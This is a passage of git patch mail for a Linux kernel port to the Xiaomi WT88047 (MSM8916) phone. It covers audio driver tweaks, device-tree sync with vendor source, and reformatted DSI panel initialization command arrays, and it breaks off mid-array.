snd_kcontrol *kcontrol, - struct snd_ctl_elem_value *ucontrol) -{ - return 0; -} - -static int lineout_status_put(struct snd_kcontrol *kcontrol, - struct snd_ctl_elem_value *ucontrol) -{ - pr_debug("%s: external speaker PA mode: %ld\n", __func__, ucontrol->value.integer.value[0]); - - switch (ucontrol->value.integer.value[0]) { - case 0: - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(3000, 5000); - gpio_direction_output(EXT_SPK_AMP_GPIO, 0); - break; - case 1: - schedule_delayed_work(&lineout_amp_enable, msecs_to_jiffies(100)); - break; - case 2: - schedule_delayed_work(&lineout_amp_dualmode, msecs_to_jiffies(100)); - break; - default: - pr_err("%s: Unexpected input value\n", __func__); - break; - } - - return 0; -} -#endif - static int msm_btsco_be_hw_params_fixup(struct snd_soc_pcm_runtime *rtd, struct snd_pcm_hw_params *params) { @@ -1718,7 +1725,11 @@ static void *def_msm8x16_wcd_mbhc_cal(void) } #define S(X, Y) ((WCD_MBHC_CAL_PLUG_TYPE_PTR(msm8x16_wcd_cal)->X) = (Y)) +#ifdef CONFIG_MACH_WT88047 + S(v_hs_max, 1700); +#else S(v_hs_max, 1500); +#endif #undef S #define S(X, Y) ((WCD_MBHC_CAL_BTN_DET_PTR(msm8x16_wcd_cal)->X) = (Y)) S(num_btn, WCD_MBHC_DEF_BUTTONS); @@ -1753,16 +1764,16 @@ static void *def_msm8x16_wcd_mbhc_cal(void) btn_low[4] = 150; btn_high[4] = 150; #elif defined CONFIG_MACH_WT88047 - btn_low[0] = 75; + btn_low[0] = 25; btn_high[0] = 75; - btn_low[1] = 130; - btn_high[1] = 130; - btn_low[2] = 260; - btn_high[2] = 260; - btn_low[3] = 450; - btn_high[3] = 450; - btn_low[4] = 500; - btn_high[4] = 500; + btn_low[1] = 200; + btn_high[1] = 225; + btn_low[2] = 325; + btn_high[2] = 400; + btn_low[3] = 375; + btn_high[3] = 410; + btn_low[4] = 430; + btn_high[4] = 450; #else btn_low[0] = 75; btn_high[0] = 75; @@ -1804,9 +1815,6 @@ static int msm_audrx_init(struct snd_soc_pcm_runtime *rtd) snd_soc_dapm_ignore_suspend(dapm, "EAR"); snd_soc_dapm_ignore_suspend(dapm, "HEADPHONE"); snd_soc_dapm_ignore_suspend(dapm, "SPK_OUT"); -#ifdef CONFIG_MACH_WT88047 - snd_soc_dapm_ignore_suspend(dapm, "SPK_EXTN_OUT"); -#endif snd_soc_dapm_ignore_suspend(dapm, "AMIC1"); snd_soc_dapm_ignore_suspend(dapm, "AMIC2"); snd_soc_dapm_ignore_suspend(dapm, "AMIC3"); @@ -1826,7 +1834,6 @@ static int msm_audrx_init(struct snd_soc_pcm_runtime *rtd) return ret; } } - #ifdef CONFIG_MACH_WT88047 msm8x16_ext_spk_gpio_request(); @@ -2471,6 +2478,7 @@ static struct snd_soc_dai_link msm8x16_dai[] = { .codec_dai_name = "snd-soc-dummy-dai", .codec_name = "snd-soc-dummy", }, +#ifndef CONFIG_MACH_WT88047 { /* hw:x, 26 */ .name = "QCHAT", .stream_name = "QCHAT", @@ -2487,6 +2495,7 @@ static struct snd_soc_dai_link msm8x16_dai[] = { .codec_name = "snd-soc-dummy", .be_id = MSM_FRONTEND_DAI_QCHAT, }, +#endif /* Primary AUX PCM Backend DAI Links */ { .name = LPASS_BE_AUXPCM_RX, From c9061edc94518e1bddec97cb22a11b5e52f51055 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 19 Jun 2016 11:16:13 +0700 Subject: [PATCH 130/365] dts: Sync platform config to L source drop * Their changes mostly already here for a long time, extracted from Lollipop kernel boot image when their source not available yet. * I believe Wingtech developer inspired by WT88047 project. Their device tree structure much better now. Change-Id: Ic24ea7e6c039152f236f904230a3cfddd323bf5d --- arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 24 +++++++-------- .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 30 ++++--------------- 2 files changed, 17 insertions(+), 37 deletions(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts index 2b12a96fdb274..70b30d4e915bc 100644 --- a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -19,7 +19,7 @@ / { model = "Qualcomm Technologies, Inc. MSM 8916 QRD SKUI"; compatible = "qcom,msm8916-qrd-wt88047", "qcom,msm8916-qrd", "qcom,msm8916", "qcom,qrd"; - qcom,board-id = <0x1010b 7 0x1000b 12 0x1010b 12 0x3010b 12>; + qcom,board-id = <0x1000b 7> ,<0x1010b 7> ,<0x3010b 7> ,<0x1000b 12> ,<0x1010b 12> ,<0x3010b 12>; }; &soc { @@ -137,6 +137,10 @@ qcom,disable-bms; }; +&pm8916_pwm { + qcom,force-pwm-size = <9>; +}; + &usb_otg { qcom,hsusb-otg-mode = <3>; qcom,usbid-gpio = <&msm_gpio 110 0>; @@ -145,14 +149,10 @@ vbus_otg-supply = <&smb1360_otg_supply>; }; -&spmi_bus { - qcom,pm8916@1 { - qcom,vibrator@c000 { - status = "okay"; - qcom,vib-timeout-ms = <15000>; - qcom,vib-vtg-level-mV = <3000>; - }; - }; +&pm8916_vib { + status = "okay"; + qcom,vib-timeout-ms = <15000>; + qcom,vib-vtg-level-mV = <3000>; }; &pm8916_rtc { @@ -172,10 +172,8 @@ }; &pm8916_pon { - qcom,poweron-vadc = <&pm8916_vadc>; - qcom,pon_1 { - qcom,s1-timer = <6000>; + qcom,s2-type = <7>; }; }; @@ -199,7 +197,7 @@ }; gpio@c200 { /* GPIO 3 */ - /* External regulator control for WTR */ + /* Battery ID detect pin */ qcom,mode = <1>; qcom,output-type = <1>; qcom,invert = <0>; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 23f42679312cb..96480e9c518dd 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -132,16 +132,6 @@ }; &pm8916_mpps { - mpp@a100 { - qcom,mode = <4>; - qcom,invert = <0>; - qcom,output-type = <0>; - qcom,vin-sel = <2>; - qcom,src-sel = <0>; - qcom,ain-route = <1>; - qcom,master-en = <1>; - }; - mpp@a300 { /* MPP 4 */ /* Backlight PWM */ qcom,mode = <1>; /* Digital output */ @@ -166,21 +156,9 @@ &pmx_mdss { qcom,num-grp-pins = <1>; qcom,pins = <&gp 25>; - mdss_dsi_active: active { - drive-strength = <8>; /* 8 mA */ - bias-disable = <0>; /* no pull */ - output-high; - }; - mdss_dsi_suspend: suspend { - drive-strength = <2>; /* 2 mA */ - bias-pull-down; /* pull down */ - output-low; - }; }; &mdss_dsi0 { - qcom,platform-regulator-settings = [02 09 03 00 20 00 01]; - qcom,dsi-pref-prim-pan = <&dsi_r69431_720p_video>; qcom,dsi-pref-sub-pan = <&dsi_nt35521_720p_video>; qcom,dsi-pref-sub1-pan = <&dsi_otm1285a_720p_video>; @@ -194,6 +172,12 @@ pinctrl-1 = <&mdss_dsi_suspend>; qcom,platform-reset-gpio = <&msm_gpio 25 0>; + + qcom,ctrl-supply-entries { + qcom,ctrl-supply-entry@0 { + /delete-property/ qcom,supply-post-on-sleep; + }; + }; }; &dsi_r69431_720p_video { @@ -381,8 +365,6 @@ }; &sdhc_2 { - qcom,nonremovable; - interrupts = <0 1>; interrupt-map = <0 &intc 0 125 0 1 &intc 0 221 0>; From 7bada5a2bf9852c2de8fe1676c7484d994463be9 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 19 Jun 2016 12:29:19 +0700 Subject: [PATCH 131/365] dts: Just 4 lines update from L source drop * It's true, L source update already here for ages. In binary level, this is just 4 lines difference. * And my own r61308 panel still hate esd-check-enabled. Change-Id: I39ae8b023dd18c1ad1943f1258a52a7a600b9af5 --- .../wt88047/dsi-panel-nt35521-720p-video.dtsi | 18 ++- .../dsi-panel-nt35521-ofilm-720p-video.dtsi | 16 ++- .../dsi-panel-nt35521s-720p-video.dtsi | 18 ++- .../dsi-panel-otm1285a-720p-video.dtsi | 128 +++++++++++++++++- .../dsi-panel-otm1285a-otp-720p-video.dtsi | 14 +- .../wt88047/dsi-panel-r61308-720p-video.dtsi | 29 ++-- .../dsi-panel-r61308-s88047a1-720p-video.dtsi | 29 ++-- .../wt88047/dsi-panel-r69431-720p-video.dtsi | 12 +- 8 files changed, 225 insertions(+), 39 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi index 7c1b64c7bf187..75b8517283698 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -38,8 +38,18 @@ qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; qcom,mdss-dsi-pixel-packing = "tight"; - qcom,mdss-dsi-on-command = <0x39010000 0x6f0 0x55aa5208 0x390100 0x2 0xc8003901 0x0 0x6f055aa 0x52080239 0x1000000 0x5ef11 0x8161939 0x1000000 0x6f055 0xaa520801 0x39010000 0x3b5 0x4043901 0x0 0x3b93535 0x39010000 0x3ba 0x25250501 0x7800 0x2110005 0x1000000 0x22900>; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 00 00 02 10 00]; + qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 F0 55 AA 52 08 00 + 39 01 00 00 00 00 02 C8 00 + 39 01 00 00 00 00 06 F0 55 AA 52 08 02 + 39 01 00 00 00 00 05 EF 11 08 16 19 + 39 01 00 00 00 00 06 F0 55 AA 52 08 01 + 39 01 00 00 00 00 03 B5 04 04 + 39 01 00 00 00 00 03 B9 35 35 + 39 01 00 00 00 00 03 BA 25 25 + 05 01 00 00 78 00 02 11 00 + 05 01 00 00 00 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 + 05 01 00 00 00 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <1>; @@ -52,7 +62,7 @@ qcom,mdss-dsi-lane-0-state; qcom,mdss-dsi-lane-1-state; qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [b4 2a 1c 00 54 58 20 2e 20 03 04 00]; + qcom,mdss-dsi-panel-timings = [B4 2A 1C 00 54 58 20 2E 20 03 04 00]; qcom,mdss-dsi-t-clk-post = <0x03>; qcom,mdss-dsi-t-clk-pre = <0x23>; qcom,mdss-dsi-bl-min-level = <10>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi index fb97e6a94d8e7..efc047d7f1195 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -38,8 +38,16 @@ qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; qcom,mdss-dsi-pixel-packing = "tight"; - qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 f0 55 aa 52 08 00 39 01 00 00 00 00 02 c8 00 39 01 00 00 00 00 06 f0 55 aa 52 08 01 39 01 00 00 00 00 03 b5 04 04 39 01 00 00 00 00 03 b9 35 35 39 01 00 00 00 00 03 ba 25 25 05 01 00 00 78 00 02 11 00 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 00 00 02 10 00]; + qcom,mdss-dsi-on-command = [39 01 00 00 00 00 06 F0 55 AA 52 08 00 + 39 01 00 00 00 00 02 C8 00 + 39 01 00 00 00 00 06 F0 55 AA 52 08 01 + 39 01 00 00 00 00 03 B5 04 04 + 39 01 00 00 00 00 03 B9 35 35 + 39 01 00 00 00 00 03 BA 25 25 + 05 01 00 00 78 00 02 11 00 + 05 01 00 00 00 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 + 05 01 00 00 00 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <1>; @@ -49,7 +57,7 @@ qcom,mdss-dsi-lane-0-state; qcom,mdss-dsi-lane-1-state; qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [b4 2a 1c 00 54 58 20 2e 20 03 04 00]; + qcom,mdss-dsi-panel-timings = [B4 2A 1C 00 54 58 20 2E 20 03 04 00]; qcom,mdss-dsi-t-clk-post = <0x03>; qcom,mdss-dsi-t-clk-pre = <0x23>; qcom,mdss-dsi-bl-min-level = <1>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi index 88381e23d923c..8e37860b5d763 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -37,8 +37,18 @@ qcom,mdss-dsi-bpp = <24>; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 05 ff aa 55 25 01 29 01 00 00 00 00 02 6f 21 29 01 00 00 00 00 02 f7 01 29 01 00 00 00 00 02 6f 21 29 01 00 00 00 00 02 f7 00 29 01 00 00 00 00 05 ff aa 55 25 00 29 01 00 00 00 00 02 35 00 05 01 00 00 78 00 02 11 00 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command = [ + 29 01 00 00 00 00 05 FF AA 55 25 01 + 29 01 00 00 00 00 02 6F 21 + 29 01 00 00 00 00 02 F7 01 + 29 01 00 00 00 00 02 6F 21 + 29 01 00 00 00 00 02 F7 00 + 29 01 00 00 00 00 05 FF AA 55 25 00 + 29 01 00 00 00 00 02 35 00 + 05 01 00 00 78 00 02 11 00 + 05 01 00 00 00 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; qcom,mdss-dsi-h-sync-pulse = <1>; @@ -48,7 +58,7 @@ qcom,mdss-dsi-lane-0-state; qcom,mdss-dsi-lane-1-state; qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-panel-timings = [b4 2a 1c 00 54 58 20 2e 20 03 04 00]; + qcom,mdss-dsi-panel-timings = [B4 2A 1C 00 54 58 20 2E 20 03 04 00]; qcom,mdss-dsi-t-clk-post = <0x03>; qcom,mdss-dsi-t-clk-pre = <0x23>; qcom,mdss-dsi-bl-min-level = <10>; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi index cc26d2b14878e..1d5839d5770b6 100644 --- a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -21,8 +21,8 @@ qcom,mdss-dsi-stream = <0>; qcom,mdss-dsi-panel-width = <720>; qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-pan-physical-width-dimension = <58>; - qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-pan-physical-width-dimension = <62>; + qcom,mdss-pan-physical-height-dimension = <114>; qcom,mdss-dsi-h-front-porch = <35>; qcom,mdss-dsi-h-back-porch = <35>; qcom,mdss-dsi-h-pulse-width = <2>; @@ -38,8 +38,126 @@ qcom,mdss-dsi-color-order = "rgb_swap_rgb"; qcom,mdss-dsi-underflow-color = <0xff>; qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [29 01 00 00 00 00 04 ff 12 85 01 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 03 ff 12 85 29 01 00 00 00 00 02 00 a2 29 01 00 00 00 00 02 c1 00 29 01 00 00 00 00 02 00 91 29 01 00 00 00 00 03 b3 08 10 29 01 00 00 00 00 02 00 b3 29 01 00 00 00 00 02 c0 33 29 01 00 00 00 00 02 00 b4 29 01 00 00 00 00 02 c0 50 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 81 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 82 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 83 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 03 c1 66 00 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 0a c0 00 96 00 08 08 00 96 08 08 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 09 c2 82 00 0a 00 83 00 0a 00 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 10 c2 00 08 03 0a 00 01 08 03 0a 00 02 08 03 0a 00 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 10 c2 03 08 03 0a 00 04 08 03 0a 00 05 08 03 0a 00 29 01 00 00 00 00 02 00 b0 29 01 00 00 00 00 0b c2 82 08 03 0a 00 81 08 03 0a 00 29 01 00 00 00 00 02 00 ea 29 01 00 00 00 00 04 c2 88 08 33 29 01 00 00 00 00 02 00 fa 29 01 00 00 0a 00 04 c2 00 0c 00 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 02 c4 88 29 01 00 00 00 00 02 00 83 29 01 00 00 00 00 02 c4 20 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 08 cb 00 00 00 00 00 00 00 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 10 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 0d cb 00 00 00 00 00 00 00 00 00 00 00 00 29 01 00 00 00 00 02 00 c0 29 01 00 00 0a 00 10 cb 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 29 01 00 00 00 00 02 00 d0 29 01 00 00 0a 00 0d cb 00 00 00 00 00 00 01 01 01 00 00 00 29 01 00 00 00 00 02 00 f0 29 01 00 00 0a 00 0d cb 00 00 f0 03 30 30 00 00 00 00 00 00 29 01 00 00 00 00 02 00 80 29 01 00 00 0a 00 0b cc 01 03 04 05 06 07 08 09 0a 02 29 01 00 00 00 00 02 00 b0 29 01 00 00 0a 00 0b cc 02 0a 09 08 07 06 05 04 03 01 29 01 00 00 00 00 02 00 d0 29 01 00 00 00 00 10 cd 01 09 07 05 03 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 b0 29 01 00 00 00 00 10 cd 2d 2d 2d 2d 2d 2d 16 17 18 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 c0 29 01 00 00 00 00 0b cd 2d 2d 2d 27 28 29 2a 2b 1d 2d 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 10 cd 0a 08 06 04 02 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 e0 29 01 00 00 00 00 10 cd 2d 2d 2d 2d 2d 2d 16 17 18 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 f0 29 01 00 00 00 00 0b cd 2d 2d 2d 27 28 29 2a 2b 1d 2d 29 01 00 00 00 00 02 00 e0 29 01 00 00 00 00 05 cc 00 fc 1f 07 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 0d c0 00 01 15 04 00 15 04 00 00 ff ff 00 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 10 cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 14 13 12 0b 0b 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 d9 82 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 03 d8 34 34 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e1 0e 17 27 36 3f 49 55 67 70 81 8b 91 6b 67 61 4f 3e 1f 28 23 1c 17 16 0d 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e2 02 07 15 22 2b 35 41 54 60 75 81 8d 69 5d 53 43 30 2d 1a 15 0e 09 06 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e3 0e 17 27 36 3f 49 55 67 70 81 8b 91 6b 67 61 4f 3e 1f 28 23 1c 17 16 0d 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e4 02 07 15 22 2b 35 41 54 60 75 81 8d 69 5d 53 43 30 2d 1a 15 0e 09 06 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e5 0e 17 27 36 3f 49 55 67 70 81 8b 91 6b 67 61 4f 3e 1f 28 23 1c 17 16 0d 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e6 02 07 15 22 2b 35 41 54 60 75 81 8d 69 5d 53 43 30 2d 1a 15 0e 09 06 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 59 03 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 0d ca cc ff a6 ff 80 ff 05 03 05 03 05 03 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 c6 10 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 13 c7 90 89 89 88 88 99 88 88 88 88 88 88 87 88 87 87 88 77 29 01 00 00 00 00 02 51 ff 29 01 00 00 00 00 02 53 2c 29 01 00 00 00 00 02 55 01 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 c6 10 29 01 00 00 00 00 02 00 92 29 01 00 00 00 00 05 c5 c0 17 c0 1b 29 01 00 00 00 00 02 00 97 29 01 00 00 00 00 02 c5 16 29 01 00 00 00 00 02 00 99 29 01 00 00 00 00 02 c5 1a 29 01 00 00 00 00 02 00 a2 29 01 00 00 00 00 05 c5 c0 17 c0 1b 29 01 00 00 00 00 02 00 a7 29 01 00 00 00 00 02 c5 16 29 01 00 00 00 00 02 00 a9 29 01 00 00 00 00 02 c5 1a 29 01 00 00 00 00 02 00 00 29 01 00 00 78 00 01 11 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 01 29]; - qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 04 ff 12 85 01 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 03 ff 12 85 + 29 01 00 00 00 00 02 00 A2 + 29 01 00 00 00 00 02 C1 00 + 29 01 00 00 00 00 02 00 91 + 29 01 00 00 00 00 03 B3 08 10 + 29 01 00 00 00 00 02 00 B3 + 29 01 00 00 00 00 02 C0 33 + 29 01 00 00 00 00 02 00 B4 + 29 01 00 00 00 00 02 C0 50 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 02 C1 19 + 29 01 00 00 00 00 02 00 81 + 29 01 00 00 00 00 02 C1 19 + 29 01 00 00 00 00 02 00 82 + 29 01 00 00 00 00 02 C1 19 + 29 01 00 00 00 00 02 00 83 + 29 01 00 00 00 00 02 C1 19 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 03 C1 66 00 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 0A C0 00 96 00 08 08 00 96 08 08 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 09 C2 82 00 0A 00 83 00 0A 00 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 10 C2 00 08 03 0A 00 01 08 03 0A 00 02 08 03 0A 00 + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 10 C2 03 08 03 0A 00 04 08 03 0A 00 05 08 03 0A 00 + 29 01 00 00 00 00 02 00 B0 + 29 01 00 00 00 00 0B C2 82 08 03 0A 00 81 08 03 0A 00 + 29 01 00 00 00 00 02 00 EA + 29 01 00 00 00 00 04 C2 88 08 33 + 29 01 00 00 00 00 02 00 FA + 29 01 00 00 0A 00 04 C2 00 0C 00 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 02 C4 88 + 29 01 00 00 00 00 02 00 83 + 29 01 00 00 00 00 02 C4 20 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 08 CB 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 10 CB 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 0D CB 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 C0 + 29 01 00 00 0A 00 10 CB 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 + 29 01 00 00 00 00 02 00 D0 + 29 01 00 00 0A 00 0D CB 00 00 00 00 00 00 01 01 01 00 00 00 + 29 01 00 00 00 00 02 00 F0 + 29 01 00 00 0A 00 0D CB 00 00 F0 03 30 30 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 0A 00 0B CC 01 03 04 05 06 07 08 09 0A 02 + 29 01 00 00 00 00 02 00 B0 + 29 01 00 00 0A 00 0B CC 02 0A 09 08 07 06 05 04 03 01 + 29 01 00 00 00 00 02 00 D0 + 29 01 00 00 00 00 10 CD 01 09 07 05 03 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D + 29 01 00 00 00 00 02 00 B0 + 29 01 00 00 00 00 10 CD 2D 2D 2D 2D 2D 2D 16 17 18 2D 2D 2D 2D 2D 2D + 29 01 00 00 00 00 02 00 C0 + 29 01 00 00 00 00 0B CD 2D 2D 2D 27 28 29 2A 2B 1D 2D + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 10 CD 0A 08 06 04 02 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D + 29 01 00 00 00 00 02 00 E0 + 29 01 00 00 00 00 10 CD 2D 2D 2D 2D 2D 2D 16 17 18 2D 2D 2D 2D 2D 2D + 29 01 00 00 00 00 02 00 F0 + 29 01 00 00 00 00 0B CD 2D 2D 2D 27 28 29 2A 2B 1D 2D + 29 01 00 00 00 00 02 00 e0 + 29 01 00 00 00 00 05 CC 00 FC 1F 07 + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 0D C0 00 01 15 04 00 15 04 00 00 ff ff 00 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 10 CD 0b 0b 0b 0b 0b 0b 0b 0b 0b 14 13 12 0b 0b 0b + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 02 D9 82 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 03 D8 34 34 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 19 E1 0E 17 27 36 3F 49 55 67 70 81 8B 91 6B 67 61 4F 3E 1F 28 23 1C 17 16 0D + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 19 E2 02 07 15 22 2B 35 41 54 60 75 81 8D 69 5D 53 43 30 2D 1A 15 0E 09 06 0B + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 19 E3 0E 17 27 36 3F 49 55 67 70 81 8B 91 6B 67 61 4F 3E 1F 28 23 1C 17 16 0D + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 19 E4 02 07 15 22 2B 35 41 54 60 75 81 8D 69 5D 53 43 30 2D 1A 15 0E 09 06 0B + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 19 E5 0E 17 27 36 3F 49 55 67 70 81 8B 91 6B 67 61 4F 3E 1F 28 23 1C 17 16 0D + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 19 E6 02 07 15 22 2B 35 41 54 60 75 81 8D 69 5D 53 43 30 2D 1A 15 0E 09 06 0B + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 02 59 03 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 0D CA CC FF A6 FF 80 FF 05 03 05 03 05 03 + 29 01 00 00 00 00 02 00 00 + 29 